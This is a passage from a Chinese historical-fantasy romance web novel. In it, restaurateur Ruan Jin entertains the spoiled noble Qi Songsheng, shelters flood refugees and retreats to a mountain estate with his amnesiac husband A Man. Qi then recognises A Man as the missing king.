阮锦收起了玩笑的态度,说道:“九哥,四儿和你说了吗?那位齐小公子来了,我们该如何应付?” 九大夫点了点头,应道:“我已经了解了,其实他未必知道这件事。只是,我们确实应该小心行事。你不让阿蛮露面是对的,他这张脸太突出了,很容易就让人记住。而且我听说这位齐小公子处处散发个人魅力,以男子拜倒在他身前为乐,你谨慎一点是对的。” 阮锦:…… 行吧! 京城第一哥儿,确实了不起。 阮锦起身安抚了阿蛮一句,便上前挽住了九大夫的胳膊,说道:“走吧!咱们去会会他!” 此时的齐颂声正百无聊赖的等餐,一边有一搭没一搭和手下聊着天:“此处风景倒是甚妙,这蛮锦阁的老板倒是挺会选址。只是他不知道本公子今天过来吗?竟然连面都不露一下,还真是放肆。” 想他去京城哪间食肆光顾,老板都会狗腿的奉上最精美的菜肴。 他不会白吃便是了,走时都会留下一锭金子。 而且他去过的食肆,都会成为一道活招牌,也算是变相为食肆做了宣传。 他的话音刚落,阮锦的声音便从外面传来:“这里便是齐小公子的包厢吧?你们这些人怎么办事的?齐小公子到了,也不知道赶快去通知我!若非四儿提起,我赶紧赶了过来,岂不是怠慢贵客了?” 阮锦推门而入,脸上带着热情的笑意,一进门便朝齐颂声行了个礼道:“哎呀呀,齐小公子!真不愧为京城第一哥儿,今日一见,真令小店蓬荜生辉啊!” 齐颂声转过脸来打量着阮锦,在看到阮锦脸的时候,倒是惊讶了一下,再看阮锦的衣著和周身的气质,当即在心里冷哼了一声。 心想乡野哥儿就是乡野哥儿,这一身的铜臭味,看着就粗鄙不堪。 不过伸手不打笑脸人,齐颂声倒是好言好语的对他点了点头,说道:“阮老板客气了,今日我也只是随便过来坐坐。听说这蛮锦阁是桃花县特色,既然来了这里,总得尝一尝。” 阮锦道:“您说得是,这不,听说您来了,我特意让人给您送了一道特色菜。这也是咱们明天才上的新品,今日我让人提前坐了,就是给齐小公子您尝尝鲜的。” 说着阮锦打了个响指,身后的四儿端上来一只通体烤得金黄酥脆的烤鸭。 这烤鸭是阮锦用烤肉夹馍的炉子烤的,吊在炉堂里,跟上一世他吃过的吊炉烤鸭没什么太大的差别。 还让三儿烙了薄饼,再搭上自己调制的甜面酱和青葱丝黄瓜丝,可以说是一绝。 阮锦接过烤鸭,又从托盘上拿起一把小刀,说道:“今天我便亲自为齐小公子片鸭子,还请小公子赏脸品鉴一番。” 虽说齐颂声从小生活的侯府养尊处忧,但他确实没见过这样的烤鸭,平常他吃的都是炖的烧鸭,哪怕是烤,也是整只架在火上烤。 此时阮锦却已经片起了鸭子,一边片一边道:“小公子,咱们的鸭子是用桃木烤炙的,鸭肉里带着一股子果木的甜香。您再搭上小薄饼和这几样配菜,吃起来真是一绝啊!” 说着他把片好的鸭肉和黄瓜丝青葱丝搭着甜面酱卷到薄饼中,恭恭敬敬的奉到了齐颂声的面前。 齐颂声接过卷好的烤鸭,试探着咬了一口,表情当即变的不一样了。 那酥脆的口感包裹有柔软的薄饼中,香味在唇舌爆开,再佐以青葱的辛辣,黄瓜的清爽,原来美味也是有层次的。 阮锦十分满意的看着齐颂声的表情,问道:“小公子觉得怎么样?还算满意吗?” 齐颂声沉溺在了美味里,说道:“不错,再给我来两个。” 阮锦一边给他片鸭子,一边说道:“今日见小公子收留流民之事,真是感动天感动地,感动的阳光普照着大地啊!” 显然,阮锦的马屁拍的齐颂声十分舒适,他满意的笑了笑,说道:“阮老板真是过奖了,听说你也收留了不少流民?他们都管你叫食神菩萨呢。” 阮锦嗨了一声,说道:“哪能跟小公子您比呀!我容留流民,也是为了招工。我这边正是忙的时候,如果招普通工人,一个月上千文。招了他们,不是能省好多钱吗?” 听了阮锦的话,齐颂声的眼中露出了不屑的表情,有一种果然如此的想法。 此时阮锦片完了鸭子,又吩咐一旁的四儿:“去,给咱们齐小公子把鸭架炖成鸭架东瓜豆腐汤,记得加上些瑶柱,可使鸭架汤更加鲜美。” 四儿接过鸭架,应声去了。 这时,又有几道菜相继的端了上来,齐颂声吃的颇为满意。 直到吃的心满意足,他朝看向了阮锦的旁边,有些意外道:“这位是?” 阮锦哦了一声,拉过九大夫介绍道:“这位正是我的夫君,开个小医馆,别人都称他为九大夫。我九哥不太爱说话,齐小公子您别介意。” 齐颂声了然道:“哦,听说过。” 他听说的可不止这些,还有人说他一哥儿侍二夫,不光有个九大夫,还有个长相颇为俊美的傻子。 不过看了这位九大夫,齐颂声倒是觉得不太可能。 因为这位九大夫的皮相也十分出众,这姓阮的乡野夫郎何德何能,竟能引得两名俊俏儿郎为他折腰。 九大夫也上前朝齐颂声行了个礼:“见过齐小公子。” 齐颂声上上下下打量了片刻九大夫,才转头对阮锦道:“阮老板艳福不浅,竟能嫁得如此夫婿。” 阮锦谦虚道:“齐小公子您真是缪赞,我这夫君不过是个乡下郎中,我们同为阮家村人,也算青梅竹马。” 齐颂声的眼神里终于露出了不屑,心想也是,乡野哥我和,的确也只能配乡野郎中,倒是登对。 吃完一顿饭,齐颂声瞬间对阮锦失去了兴趣,不过是乡下来的土包子,倒是自己多余给他眼色了。 不过这顿饭他倒是吃的十分畅快,随手从怀里掏出了一枚十两的金块放到了桌子上,起身便带着手下离开了蛮锦阁。 阮锦送到门口,还生怕别人不知道似的大声朝他行礼道:“恭送齐小公子!” 齐颂声皱了皱眉,踩着手下的背上了马车,冷哼一声道:“还真是个乡野村夫。” 送走了这尊大佛,阮锦松了口气,打了个响指道:“不错,这烤鸭连齐小公子都赞不绝口,不用再等实验了,明天直接上新!” 旁边一直跟着的九大夫:“……敢情你是拿齐颂声当试吃员呢?” 阮锦笑:“他来都来了,还不得物尽其用啊!这可是养柆处忧长大的,他都挑不出毛病来,喝了我两大碗鸭架汤,一整只鸭子都下肚了,这味道还能差得了吗?” 已经离开的齐颂声并不知道,自己被当成试吃员了,倒是心情颇好的说道:“这世界上的男子,又有谁能比得过夜昙哥哥呢?那九大夫和他比起来,也是逊色不少呢。” 第84章 世人并不知道,齐颂声心仪之人向来只有最为位高权重的那一个,就连长兴侯都对他说过,他配得上这世间最好的男子。 可这世间最好的男子,除了王上,还有谁? 四国割据,哪怕是当年风头无两的幽国,也是比不过夜昙哥哥半分的。 只是如今他们这堂兄弟的身份有些尴尬,可世人不知,他并非长兴侯的亲生儿子,而是他表妹所出。 之所以过继到自己名下,那完全是因为父亲当年的挚爱便是母亲,却阴差阳错嫁予他人。 明面上他是长兴侯妾室所生,却因为他极似母亲的容貌,在母亲难产而死的那天便被强行抱回了侯府。 他与夜昙哥哥,并无血缘关系,而他喜欢夜昙哥哥。 哪怕父亲不同意,他也想和夜昙哥哥在一起。 想到这里,齐颂声便有些低落,他倚在车窗上,掀开车帘向外看去。 这一看不打紧,一眼便看到蛮锦阁三楼的阳台上有两个身影抱在了一起,其中一个身景便是阮锦,而另一个身影却并非他那个夫君,看背影,要比他那乡野郎中夫君要高上许多。 那男人背对着齐颂声,一头黑发如绸缎般披在肩上,把那乡野哥儿吻得不知天地为何物。 齐颂声猛然坐直了,低低骂道:“他竟真有两个夫君???” 手下吓了一跳,在马车外面问道:“发生什么事了吗小公子?” 齐颂声气的踹了一脚马车壁,没好气的道:“没什么!回驿站!” 手下只觉得莫名其妙,不过反正这位小公子向来喜欢耍脾气,他们都习惯了。 而刚刚搬进百花巷里的流民们却不太好过,因为天上开始打雷,又要下雨了。 流民有两百多人,房间却只有二十多个,也就是得好几个人睡一个房间,包括客厅在内。 而且房间分配的也有问题,竟然还有男女混住,这让流民们十分恼火。 有人去找分管的人理论,那人却只是冷冷的对他们说了一句:“有地方给你们住就不错了,还挑三捡四的。你们也不看看这是什么地方,这可是百花巷,能住在这儿你们也是烧了高香。不想住房间也行,你们不是有帐篷吗?自己搭帐篷就在外面睡!” 于是,不接受拥挤的流民开始挑空旷的地方搭帐篷,只是帐篷刚搭好,就开始轰隆隆的打雷,豆大的雨点儿便砸了下来。 三嫂和四婶儿此时坐在帐篷里,三嫂满腹的牢骚,冲着四婶儿嚷嚷着:“你不是说这佛子给吃给住又给钱吗?你看他给什么了?晚上就只喝了一顿稀粥,结果还是得住帐篷!四婶儿,你这情报不对啊!说什么要给几十两银子,银子呢?” 四婶儿也是一肚子气,说道:“谁知道啊!他们都这么说,那可是京城来的第一哥儿。再说我也没说瞎话吧!人家确实把咱接进百花巷里来了。” 三嫂怀里抱着女儿,指着外面道:“二百多个人住两个宅子,怎么住?你自己说怎么住?” 雨越下越大,凉亭和回廊里也坐满了人,她们本也想去回廊下避雨,却连个下脚的地儿都没有。 三哥终于忍无可忍,说道:“你们爱待在这里就待吧!我去找锦哥儿了!” 三嫂气的不行,说道:“你这个时候去找他有什么用?你不要脸我还要!再说现在住都住进来了,除了熬着还能干什么?” 三哥难得的硬气了一回,一把抱起孩子道:“都这个时候了,要脸还有什么用?我早就说过了,锦哥儿那里包吃包住,还有活儿干。咱们又都是姓阮的,何必非得在这里熬着?” 说完他一手抱着孩子,一手拖着三嫂,冒雨离开了百花巷。 四叔刚要说话,却被四婶儿一个眼刀给瞪了回去,只好作罢。 只是像三哥一样有这个想法的大有人在,不少流民都把帐篷一拆,离开了百花巷,这一走就是几十个人。 走了几十个人,剩下的倒是宽松了不少,至少不用在外面搭帐篷了。 这几十个人跑到奇货巷里,找到了在那里值夜的阿大,问他这里还收不收人。 阿大看着这几十个人,有些为难的说道:“奇货巷已经住不下了,不过……工场那边招人。有场房,有工宿,就是条件比这边要艰苦一些,你们如果愿意的话,条件和奇货巷的工人一样。” 众人这个时候哪还有挑剔的资格,纷纷表示愿意去。 只是今夜大雨,阿大也不忍心看他们在雨里淋着,便临时把仓库和蛮锦食记的老宅打开让他们暂时住一晚。 有仓库和老宅遮雨,也好过睡在帐篷里,他们也知足。 阿大见有阮家村的熟面孔,便给那几个阮家村的单独安排了一个房间,委屈他们先挤挤。 三哥和三嫂被安排进了干净宽敞的房间里,里面还有床和被褥,这本来是阿大值夜时睡的房间。 看着这干爽的房间,三嫂也觉得脸上有些火辣辣的烫,三哥的埋怨也上来了:“以后你少跟四婶儿混,她和二婶三婶他们待久了,良心也跟着坏了。” 三嫂自知理亏,没再说些什么,早知道来这里的条件这么好,她早就过来了。 而守着百花巷的下人却将这一消息告诉了齐颂声,齐颂声皱了皱眉,吩咐道:“什么意思?你们就让他们走了?不知道的,还以为我苛待流民!把他们看好了,在我走之前,一个都不许出巷子!” 手下应声而去,后面再有人想离开,便发现两个宅子的大门都被锁了。 安排完流民后,阿大去找阮锦回报了这件事,阮锦赞道:“阿大你做的对,虽然他们听信谗言,但眼下下着大雨,他们既然来投奔,我们自然便要接收了。工场那边也确实需要人手,只要他们诚心实意的干,咱们也自然会给他们发工钱。” 其实流民里也不乏好吃懒做的,针对这些人,阮锦让阿大安排他们去当巡逻。 巡逻穿着统一制式的衣服,手上还拿着棍棒,看上去威风极了,倒是唤起了那些人工作的积极性。 有些人就是这样,你让他有了认同感,他的态度就会来一个一百八十度大转弯。 雨越下越大,四儿和九大夫也赶回了院子,阿大则又回去值夜了。 阿蛮贴心的给阮锦擦着淋湿的头发,说道:“阿锦赶快换件衣服吧!别着凉了。” 这些天连连下雨,仿佛是把天给下透了,原本的暑热也消去了大半。 阮锦应着,说道:“阿蛮也去换件衣服,干脆洗个澡吧!” 只是古代洗澡有些过于麻烦了,还要现烧热水,每次洗个澡都要折腾半天。 想到这里,阮锦又开始拿出纸笔来作画,那是一个黑色的大缸,下面接上水管,水管一直延伸到房间里。 阿蛮凑过来问:“这……又是什么?” 阮锦答:“用来洗澡的,夏天只要出一会儿的太阳,黑色的陶瓷缸就能吸收足够的热量,把水晒到可以洗澡的程度。” 其实哪怕阴天,效果也不会太差,小时候他试过,太阳能的热水带是非常吸热的。 阿蛮对阮锦的各种发明创造都很感兴趣,他问道:“这个缸下面接的是什么?” 阮锦答:“竹子,或者用陶瓷烧制成空心管,再用石膏或者生漆糊住防水就可以了。省得每次洗澡都要烧水,太麻烦了。” 阿蛮的眼睛亮了亮,点头道:“好!明天我来做!” 听到阿蛮这么一说,阮锦的唇角又勾了起来,亲了亲他的嘴唇道:“阿蛮真是我的贤内助。” 阿蛮嘿嘿一笑,嗯嗯两声:“好,我就是阿锦的贤内助。” 第二日,阮锦去工场把新招的工人交给刘叔,阿蛮便拿着图纸去了瓷窑。 他在阮锦所绘制的基础上又加了一个东西,那是他的傀儡机关,一面通屋后的溪水,一面通屋顶的水缸。 这样,就不用一盆一盆的往上送水了,可以直接用他的傀儡水车把水送上去。 阿蛮非常满意自己的杰作,今天让瓷窑把黑色的水缸烧制出来,明天阿锦应该就能用上淋浴了。 阮锦刚在从工场返回的路上遇到了同样从水患区域回来的迟麟,迟麟显然是认出了他,主动策马过来朝他打了招呼。 两人互相抱了抱拳,阮锦道:“迟大人辛苦了,水患处理的怎么样了?” 迟大人摇了摇头,叹息道:“不是很好,泄洪是已经疏通了,但是百姓仍然不好过。水患淹死不少人和牲畜,如果再不及时处理,怕是会引发瘟疫。” 两人策马一边往县城走一边有一搭没一搭的聊着,阮锦道:“关于避瘟,我倒是有些小窍门。那些刚刚退了水的地方,不妨用生石灰洒一洒,可以消毒去尸气。室内用苍术、艾叶、雄黄、降真香这些药物研磨成粉,制成香熏,点燃熏烧。可以去九大夫处问他要一个避瘟方,装进药囊里佩戴,也能治未病。还有,水井中要洒上明矾粉,可去除一定菌毒。最重要的是,水一定要过滤,过滤后还要烧开了才能喝。” 迟大人从怀里掏出小本本来就开始记录,一边记一边问道:“还有吗?阮老板不愧是在桃花县赫赫有名的大善人,这些方法对我来说非常有用。” 阮锦满头黑线,玩笑道:“咱们大渊最有名的善人不是京城来的佛子吗?” 迟麟摆手道:“别提了,他也不过是玩乐居多,来了以后还没进过灾区呢。对了,听说阮老板新制了一种名为煎饼的干粮。湿粮在灾区没两天就会变质发霉,我正想在阮老板这里订上一批呢。” 第85章 阮锦拍了拍胸脯道:“好说,我愿以成本价出给迟大人!” 迟大人郑重的朝他行了个礼:“如此,我便替东南郡的百姓,多谢阮老板了。” 阮锦道:“您别客气,我也是东南郡百姓,能为家乡父老做些事,我心里总是乐意的。” 迟麟自然不会让阮锦一分钱不赚,他有人工有成本,自己手上带了赈灾粮款,在他的职责范围内,可以适当给阮锦一些利润。 今日阮锦又增设了不少生产线,工场这边油、糖、精油、香露、炒货等,都安排的明明白白的。 阮锦又和迟麟谈起了齐颂声的事:“我看迟大人也是为国为民的人,为什么一定要带上齐小公子呢?他显然并不像是来赈灾的啊!” 迟麟无奈的叹息道:“这件事说来话长,不过阮老板不用太过在意他。如果他冒犯了你,尽管和我说,我会想办提醒他的。” 阮锦笑笑,摆手道:“那倒也不必,想必他是年纪小,淘气了些。毕竟是长兴侯的幼子,娇惯长大,倒是也正常。” 迟麟一脸的高深莫测,说道:“这我倒是和阮老板说说,京城皆知,齐小公子之所以受宠,不是因为他是长兴侯府唯一的哥儿,而是因为他是长兴侯最喜欢的人所出。其实他并非长兴侯的亲儿子,而是他表妹和丈夫生下的。但因为他和长兴侯的挚爱长得一模一样,这才被接回了府上,奉为掌上明珠。对外人,他只说齐小公子是妾室哥儿所出。但这其实是公开的秘密了,毕竟这位小公子得罪的人不少,京城那些贵公子,早就把他的底细扒了个底朝天。” 说完迟麟还一脸无奈的笑了笑,看得出也是个颇爱八卦之人。 这倒是让阮锦有些意外,他说道:“哦?看来长兴侯也是个重情重义的人啊!” 迟麟的眼中却露出了几分不屑,说道:“重情重义不见得,自欺欺人倒是真的。你见过齐小公子了,单论他的容貌,倒是个当之无愧的美貌哥儿。但他那位母亲,据说更是生得倾国倾城,美丽无双。少见的美人,是这世界上最为稀缺的资源。与其放在后宅,不如拿去换一些更有用的资源。” 阮锦微怔,他皱了皱眉道:“难……难道这位侯爷,把自己心爱之人送上了……别人的床榻?” 迟麟轻笑:“可能自古有建树者不拘小节吧!除了当今王上,我倒是没见过几个底子干净的当权者。” 阮锦觉得迟麟就是个大漏勺,竟然什么都敢和他漏,就不怕他把这大渊的王族秘辛透露出去吗? 不过,听迟麟这么说,这位大司农应该是王派的。 九哥说过,大渊王国,有公主一派,也有侯爷一派,当然也有中立的王派。 为了验证自己的话,阮锦顺着这位大司农的话接着说道:“原来如此,看来还是我见识短浅了。听说当朝监国公方殿下,是个百年难得一遇的奇女子?” 这一点迟麟倒是没否认,他点了点头:“公主殿下的确有治世之才,王上对这位王姐也十分信任。只是普天之下莫非王土,率土之宾莫非王臣。我们这些做臣子的,还是只想效忠于王上。” 这话能从这位王派九卿的口中说出,十有八九是中肯的,看来公主应该也属于渊王的人,倒是这位长兴侯,十有八九有不臣之心。 不过根据他所了解的历史,在渊王一统中原前,并没任何人有谋反之心。 可能是这位渊王太强了,除了他自己发疯,没有人敢在他面前造次。 直到他死后,整个大渊便陷入了一团乱斗之中。 阮锦叹息一声,他一个小小屁民,管不了那么多,只希望后续能护住他想护之人,能让他和阿蛮,以及未来他们的孩子,可以安稳无虞的过上一辈子。 回到桃花县,迟麟找阮锦订了一千斤的煎饼,阮锦赶紧吩咐奇货巷的流民们连夜加班赶制。 最近的订单多到数不过来,增加人手的同时,阮锦在管理上也显得有些捉襟见肘。 他晚上把小五义叫过来开了个会,让他们也选个合适的人带一带,收个徒弟什么的,不考虑出身,只考虑人品是否过硬。 小五义们也没想到,他们有一天竟然也能带上徒弟了。 后面也接二连三的有不少流民加入到阮锦的团队里,尝到甜头的流民们一传十十传百,都知道阮锦这里是一个非常好的归宿。 和百花巷那些流民形成了鲜明的对比,尤其是被关在院子里的四婶他们,晚上挤在七八个人一个屋子的房间里,闻着满身的臭汗味儿,白天只能吃一顿杂粮饭,其余时候只能喝粥。 就算想逃,也完全逃不出去,门外有人把守,墙外有人巡逻。 齐颂声的人却处处找人张贴发布他的佛子出街图,还请说书先生大肆宣扬他容留流民的善举,可以说占尽了风头。 只有从百花巷里逃出来的那些流民心里清楚,那里面的人是什么个情形。 他们却惧怕于齐颂声的家世,不敢多说什么,只能多说阮锦的好话,希望大家能看到真正在做好事的人。 这一点阮锦倒是不在意,反正他只是招工,流民出力他出钱,也不是什么好事不好事。 倒是这段时间以来,这一笔一笔的订单给他足足赚了几万两白银。 这么多的钱,倒是让阮锦一时间不知道怎么花了。 第一时间买下了他们在住的小院子,还打算去地势高的山里买上一块地,在山里建一座庄园,偶尔和阿蛮去隐居小住一下。 这一切的规划都很美好,可惜规划还是赶不上变化。 夏末秋初,雨终于不下了,迟麟的抗洪也告一段落,流民们也得到了基本的安置。 除了被关在桃花巷的那些,大家都有了自己的生路。 一阵绵绵的秋雨后,天气终于凉爽了下来,阮锦也总算把生意安排明白,打算带着阿蛮去山里躲一段时间的清闲。 阮锦吩咐四儿:“有急事的话让阿大去清风岭找我,尽量你们能自己处理就自己处理。” 四儿乐呵呵打着包票道:“少爷你放心,我们可是你亲手带出来的!那些订单和合作的商户,我全都打理的清清楚楚明明白白。你尽管和姑爷去度假,蛮锦集团有咱们呢!” 是的,阮锦的生意,从蛮锦记直接升级为了蛮锦集团。 还有度假这个词儿,也是跟着阮锦学来的。 阮锦一脸赞赏的朝四儿点了点头,说道:“很好,那一切就交给你们了!” 沉浸在自己世界里的阿蛮爬上了马车,手上还雕着想要送给阿锦的新礼物。 这时不远处缓缓传来车马声,阮锦远远望去,发现竟是迟麟迟大人和齐颂声。 阮锦猜测,此间水患告一段落,他们应该是要离开桃花县了。 如阮锦所料,迟麟策马来到他的面前,朝阮锦抱了抱拳道:“阮老板,我和齐小公子要走了。这次抗洪多亏了你的帮忙,尤其是净水的方法和防止疫病的方法,这简直减少了我太多的工作量。否则若是疫病起来,我怕是年底前出回不了京城。如今你还容留了那么多流民,给了他们安身立命的机会,迟某在此多谢了。” 阮锦也朝他拱了拱手道:“迟大人您真是过奖了,那些小事也只是举手之劳。倒是迟大人,您脸色看上去不太好,想必是这段时间太辛苦了。” 迟麟的脸上有些尴尬,其实不是他辛苦,而是连两次成熟期都是自己更挨过去的。 如果不是前段时间找九大夫取了取经,他恐怕今天还没办法顺利返京。 只是有一点他觉得很奇怪,他的夫君是黑羽卫总指挥,他们两个匆忙见过两次,他本以为自己需要配合他们查找些什么,谁料黑羽卫却并没有任何要查找的意思,只是暗兵不动的蛰伏在了桃花县,也不知道王上是不是有什么别的吩咐。 但黑羽卫的事,即使他这个内人也是不能多问的,那是王上手里的最后一张底牌,他们只完全听命于王上的命令。 这时齐颂声也骑着马走了过来,百无聊赖的朝阮帛招了招手:“后会有期了阮老板。” 阮锦也是礼数周全,朝齐颂声行了个礼。 迟麟继续道:“若是阮老板有机会来渊都,我一定略尽地主之宜,带阮老板领略一下京城的风貌。” 阮锦轻笑:“一定一定,如果有时间,我一定去找迟大人。” 这时,马车里传来阿蛮的声音:“阿锦,我们出发吧?” 阮锦应了一声:“好的好的,这就出发!” 说着他朝迟麟和齐颂声道了别,爬上马车,朝清风山的方向走去。 迟麟也带领着马队向北走去,那是渊都的方向。 唯有齐颂声,他的眉心里露出了几分疑惑,待到迟麟走远了,他才小声问手下:“你刚刚听到马车里的人说话了吗?” 手下刚才一直在走神,但还是假装听到了般的说道:“是听着有些奇怪,小公子有什么想法吗?” 齐颂声的表情里却总觉得不对劲,他左思右想,对手下道:“你去和迟大人说一声,就说我在这边还有点事,让他先行一步,我马上就到。” 手下应了一声,一夹马腹去办事了。 齐颂声却转头看向阮锦马车消失的方向,调转马头追了上去。 那声音太熟悉了,他听过无数次,也魂牵梦绕了无数次,这世间不可能有如此相像的声音! 那是他的夜昙哥哥! 第86章 虽然齐颂声一千个一万个的不愿相信,可他却也不会轻易的放弃探寻真相。 没待到他的护卫回来,他便一夹马腹,追着阮锦的方向奔去。 马车进入了一道幽静的山路,马车的身后还跟了几名随从,如今阮锦是真的赚到钱了,便找了几名知根知底的壮汉看家护院。 那些护院都是在流民中挑选出来的,都是有家有业,良好出身,安全有保障。 阮锦从马车里探出头来,看着两侧葱郁的树木以及温山的山花,心情也跟着好了起来。 闭上眼睛呼吸着新鲜空气,阮帛对阿蛮道:“这段时间忙的脚不沾地,水患也困扰了桃花县这么长时间。现在水退了,百姓们也恢复了正常生活,桃花县也重新恢复宁静了。” 阿蛮收起了刻刀,从背后抱住了阮锦,贴着他的后背低低嗯了声:“天气也凉快了,真的很舒服。” 阮锦转头看向阿蛮,看着他的眼睛道:“比我还舒服吗?” 阿蛮:??? 阿蛮一脸无语的看向阮锦,一时间竟然不知道该说些什么。 阮锦却扑哧一声笑了出来,说道:“我跟你开玩笑呢,阿蛮你怎么呆住了?” 阿蛮无奈的把阮锦抱回座位上,捏了捏他的脸颊道:“阿锦,你最近越来越淘气了。现在可是在马车上,后面有好多人跟着呢,难道你想让我在马车上对你怎么样吗?” 阮锦搂住阿蛮的脖子,一边笑一边道:“我错了阿蛮,我知道错了哈哈哈。” 两个人在马车里笑着闹着,马车里传来一阵阵嬉笑打闹声,传到远远坠着的齐颂声那里只觉得十分刺耳。 此时他在心里再三的否认,心想不是的,这个人一定不是夜昙哥哥。 夜昙哥哥向来性子冷清,别说笑了,连个好脸色都不会给旁人。 一定不是,一定不是的! 可他却控制不住自己的脚步,一定要跟上去弄个清楚! 谁料刚上前走了几步,却遇到了几条拦路的傀儡蛇。 那傀儡蛇足有七阶,齐颂声吓得赶紧拿出了一张八阶傀儡匿踪符贴在了自己的身上。 马车上的阿蛮也突然警觉了起来,下一秒却又茫然的歪了歪头,似乎在思索着什么。 阮锦见状问道:“怎么了阿蛮?是有什么不对的地方吗?” 阿蛮却又摇了摇头:“没什么,可能是有经过的傀儡师吧!现在已经觉察不到了。” 阮锦点了点头:“没事的阿蛮,桃花县人杰地灵,不会有什么意外的。” 再说唯一的坏人荣安良已经被他们收拾掉了,不确定因素齐颂声也走了,他们确实没有什么好担心的。 阿蛮应了一声,给阮锦削了一个桃子,两人一人一半吃了起来。 清风旁边有一座寺庙,寺庙修的不小,东南郡有不少豪商来这边烧香拜佛。 阮锦则在清风寺的旁边买了一块地,刚好某个喜好清修的商人要离开桃花县,也就低价出给他了。 阮锦带着阿大和四儿过来看了看,不论大小还是位置都让他非常满意,靠着进山的山道,交通便利,不论是上山进庙烧香还是下山去集市都很方便。 于是花了五千两银子直接买了下来,用于偶尔出来避暑,也用于员工们的团建。 只来过一次,阮锦就爱上了这个地方,便想着先带着阿蛮过来待一段时间。 其实主要原因还是他这段时间天天东奔西跑,他怀疑自己是不是太忙了,一天有十个小时的时间都是站着的。 他和阿蛮夜夜笙歌,他的肚子却仍然没有动静。 在山上安安静静的待上一两个月,说不定就能怀上了。 庄园里有园丁和丫鬟婆子十几名,原房主走的时候带不了那么多人,本想去人市上发卖了,阮锦觉得这些人可怜,便花相应的价钱把他们留了下来。 于是他一下马车,便有一名管家恭恭敬敬的上前来迎他,朝他行了个礼道:“公子,姑爷,您二位一路劳顿。小人已经备好了酒菜茶水,先进去歇歇脚吧!” 阮锦语气轻快的应了一声,说道:“好,阿蛮快看,那里还有几株枣树!结了好多枣啊!” 管家也热心的笑着接话:“是的公子,您若是喜欢,小人让人给你摘一些下来。这山里的枣子最是甘甜,只是今年雨水大,怕是味道不如往家。” 阮锦的眼睛眨了眨,说道:“不如往年甘甜?那没关系啊!趁着它们还新鲜着,明日便让人把它们全给我打下来!我要做个好吃的给你们尝尝!” 关于这个新主人的事,管家也是听说过的,在县城里开了许多食肆,还有一家奇货巷,可以说是日进斗金,已经成了整个桃花县数一数二的富户。 而且他有个口头禅,就是我给你们做个新鲜的。 据说只要他说这么一句话,所有人都会被他做出来的东西所折服。 先不说那些小吃,比如最近最出名的豆腐八件套:豆腐、豆皮、腐竹、豆浆、豆腐脑、臭豆腐、豆腐香干、豆腐乳! 谁能想到,单单是豆腐,就能做出这么多的种类来? 而且样样好吃,尤其是臭豆腐,一开始做出来的时候所有人都很抗拒,觉得那股子臭味儿跟茅坑里的味道没有任何区别。 为此,阮锦还特意做了一个活动,谁能吃一盒臭豆腐,就奖励一张蛮锦阁的八折会员卡。 当天上百人跃跃欲试,结果吃过的人都说闻着臭,吃着是真香啊! 从此,臭豆腐也打开了市场。 管家乐呵呵的应着:“好的公子,您放心,我明天就让人把这些枣全都打下来。” 阮锦拉着阿蛮的手进了山庄,刚刚赶到的齐颂声就很气,追了一路,却还是没看到那傻子的正脸。 但是没关系,好在这座庄园大的很,他找一处矮一些的围墙翻过去便是! 阮锦和阿蛮已经进了庄园,庄园里别有一番景色,荷塘、假山、造景、园林,不得不说原来那位主人对生活的品味还是不错的。 只是阮锦睡不惯硬板床,来之前让人做了个厚厚的床垫送了过来,还做了大大小小十几个抱枕,又在卧室里铺了地毯,挂了床幔,这才心满意足的入住。 一进卧室,阮锦就彻底爱上了。 首先这个卧室非常大,足有四五十平米,除了一张双人床和一张临窗卧榻外,还有一张可以移动的吊床。 吊床此时正挂在檐下,趴在上面刚好可以晒一晒初秋的太阳。 阮锦把鞋子一脱便趴到了厚厚的地毯上,接连打了好几个滚,这个过程里阿蛮满是宠溺的看着他,直到他抱住一个大抱枕躺好后,才同样脱了鞋子走了进来。 阮锦翻了个身趴在地上,抬头看着阿蛮问道:“阿蛮,喜欢这里吗?” 阿蛮勾唇点头:“喜欢,这里很漂亮。” 阮锦十分得意的晃了晃白白嫩嫩的双腿,说道:“嘿嘿,等我有钱了,我们再去渊都买一座大宅子。阿锦,我说过我会保护你。现在我有钱了,以后我会更有钱的。到时候,不论谁想欺负阿蛮,我就用钱砸烂他的脑袋!” 虽然阿蛮不知道为什么,总觉得阿锦有再多的钱可能也保护不了他,可是他还是非常非常非常高兴。 阿蛮欠身坐到了阮锦身边,把他搂进怀里道:“好的,阿锦真好,谢谢……哦不对,两口子之间不能说谢谢。” 阮锦顺势倚进了阿蛮怀里,笑咪咪道:“阿蛮最近说话越来越流畅了,有没有想起一些从前的事情?” 从他们的对话中可以看得出,非但丝毫人机感都没有了,有时候说的话还有一定的道理。 阿蛮却摇了摇头,倒是神色里透着几分沉稳:“没有,但是也没所谓。不论我会不会恢复记忆,阿锦都是我最重要的人。或许恢复了记忆,对我来说反倒是一种负累呢?” 阮锦哈哈笑了两声,搂着阿蛮的脖子道:“阿蛮你是真的越来越会说话了!” 这时,管家在门喊了一声:“公子,姑爷,需要把饭菜端进来吗?” 阮锦一个翻身站了起来,应道:“不用不用,我们去院子里吃!秋高气爽,还有桂花的香味儿,怎么能错过这么美好的时光呢?” 管家应了一声,吩咐小斯婆子把准备好的饭菜摆到高处的凉亭里。 阮锦穿上鞋,接着阿蛮的手一走登上凉亭,恰好凉亭旁边有两株桂树,桂花开得一树金黄,微风一吹,香味儿十分浓郁的飘在鼻端,好闻极了。 饭菜虽不算精致,但都是山间的小炒,有清炒莲藕,有炸小酥鱼虾,还有一道十分清口的山野菜,一道酱牛肉算是荤菜。 这厨子的小炒虽不及三儿的火候,倒是也学了个皮毛,胜在莲藕清脆,味道倒是还不错。 阮锦给阿蛮夹菜,阿蛮张嘴吃了,脆脆的口感让阮锦忍不住去戳他的腮。 阿蛮则像只小仓鼠一般,故意去逗阮锦。 和凉亭里形成鲜明的对比,墙外,站于马上的齐颂声把这一切看了个清清楚楚。 那的的确确是他的夜昙哥哥,可是夜昙哥哥对任何人都不屑一顾,为何会对这个阮锦如此予取予求? 方才他们在卧室中亲吻拥抱的场景,竟比这世间任何一对恩爱夫妻还更恩爱。 齐颂声的心脏砰砰跳着,他颓然的坐回了马上,嘴里喃喃念着:“不可以,绝对不可以!夜昙哥哥,他……他一定是出事了!对!爹爹!我要把这件事告诉爹爹!” 说着他一夹马腹,焦急的朝着桃花县县城狂奔而去! 第87章 难怪父亲说让他看紧了迟麟,千万不要让他私下里接触黑羽卫,难怪黑羽卫会连夜离开京城,原来王上竟然真的不在京中,他竟然在这里和那个叫阮锦的哥儿私会! 